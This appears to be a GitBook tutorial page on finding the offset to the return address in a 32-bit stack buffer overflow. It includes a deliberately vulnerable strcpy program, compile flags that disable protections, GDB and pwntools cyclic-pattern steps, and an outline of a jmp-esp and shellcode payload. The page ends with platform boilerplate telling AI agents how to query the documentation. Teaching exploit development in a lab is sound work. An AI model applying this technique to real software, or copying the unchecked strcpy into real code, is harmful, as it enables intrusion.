> For the complete documentation index, see [llms.txt](https://alham-rizvi.gitbook.io/alhamrizvi/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://alham-rizvi.gitbook.io/alhamrizvi/exploit-development/stack-buffer-overflows/finding-offsets-in-sbo.md).

# Finding Offsets in SBO

## Finding Offset in Stack Buffer Overflow Using Pwntools

### What Is an Offset?

In a stack buffer overflow, the goal is usually to overwrite the return address (EIP in 32-bit).

But before controlling EIP, we must know:

* How many bytes are needed to reach EIP
* At what exact position the overwrite happens

That exact position is called the offset.

***

## Vulnerable Program

```c
#include <stdio.h>
#include <string.h>

void vuln(char *arg) {
    char buf[128];
    strcpy(buf, arg);
}

int main(int argc, char **argv) {
    vuln(argv[1]);
    return 0;
}
```

The vulnerability is:

```c
strcpy(buf, arg);
```

because `strcpy()` does not check buffer size.

If we send more than 128 bytes, the overflow starts corrupting:

* Saved EBP
* Return Address (EIP)

***

## Step 1 — Compile Vulnerable Binary

Compile with protections disabled:

```bash
gcc -m32 -fno-stack-protector -z execstack -no-pie -o prog1 program1.c
```

Explanation:

* `-m32` → 32-bit binary
* `-fno-stack-protector` → disable stack canary
* `-z execstack` → executable stack
* `-no-pie` → fixed addresses

***

## Step 2 — Generate Cyclic Pattern

Instead of sending:

```python
"A"*300
```

we use a cyclic pattern because every sequence is unique.

Generate pattern using pwntools:

```bash
pwn cyclic 300
```

Example output:

```
aaaabaaacaaadaaaeaaaf...
```

***

## Why Use Cyclic Pattern?

Suppose EIP becomes:

```
0x61616b62
```

That value exists only once in the pattern.

So we can calculate the exact overwrite position automatically.

This is much better than counting manually.

***

## Step 3 — Run Program Inside GDB

Open binary:

```bash
gdb ./prog1
```

Run with cyclic pattern:

```bash
run $(pwn cyclic 300)
```

The program crashes because the return address gets overwritten.

***

## Step 4 — Check EIP

After crash:

```bash
info registers
```

Example:

```
EIP = 0x61616b62
```

This means the cyclic pattern overwrote the return address successfully.

The CPU tried to execute address:

```
0x61616b62
```

but that address is invalid, so the program crashed.

***

## Step 5 — Find Exact Offset

Use pwntools:

```bash
pwn cyclic -l 0x61616b62
```

Output:

```
140
```

This means:

* 140 bytes are needed to reach EIP
* Byte 141 starts overwriting the return address

***

## Understanding What Happened

Payload structure:

```python
"A"*140 + "BBBB"
```

Memory layout:

```
[ Buffer ]
AAAAAAAAAAAA

[ Saved EBP ]
AAAA

[ Return Address ]
BBBB
```

`BBBB` in hexadecimal becomes:

```
0x42424242
```

So after the crash:

```
EIP = 0x42424242
```

This confirms we fully control execution flow.

***

## Step 6 — Verify EIP Control

Run:

```bash
run $(python3 -c 'print("A"*140 + "BBBB")')
```

After crash:

```
EIP = 0x42424242
```

Now the attacker controls the instruction pointer.

This is the core goal of classic stack buffer overflow exploitation.

***

## Why We Use BBBB

We use:

```python
"BBBB"
```

because:

```
B = 0x42
```

So:

```
BBBB = 0x42424242
```

This makes it very easy to identify in registers.

Similarly:

```
AAAA = 0x41414141
```

Using different characters helps distinguish:

* Buffer overwrite
* EBP overwrite
* EIP overwrite

***

## What Happens Internally

When the vulnerable function ends:

```asm
ret
```

gets executed.

`ret` does:

```
EIP = value on top of stack
```

Normally this is a valid return address.

But because of the overflow, the attacker replaced it with:

```
0x42424242
```

So the CPU jumps there and crashes.

***

## Typical Exploitation Flow

1. Find vulnerability
2. Crash program
3. Generate cyclic pattern
4. Find offset
5. Control EIP
6. Find bad characters
7. Find JMP ESP
8. Execute shellcode

***

## Important Registers

### EIP

Instruction Pointer.

Controls what code executes next.

If attacker controls EIP, they control execution flow.

***

### ESP

Stack Pointer.

Points to current stack location.

Often attacker payload still exists near ESP.

This becomes useful later with:

```asm
jmp esp
```

***

### EBP

Frame Pointer.

Used for stack frame management.

Usually overwritten before EIP during buffer overflow.

***

## Final Goal

Eventually the payload becomes:

```python
payload =
    b"A"*offset +
    jmp_esp +
    nop_sled +
    shellcode
```

Execution flow:

```
RET
→ JMP ESP
→ Shellcode Executes
```

This is the classic stack buffer overflow exploitation process.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://alham-rizvi.gitbook.io/alhamrizvi/exploit-development/stack-buffer-overflows/finding-offsets-in-sbo.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
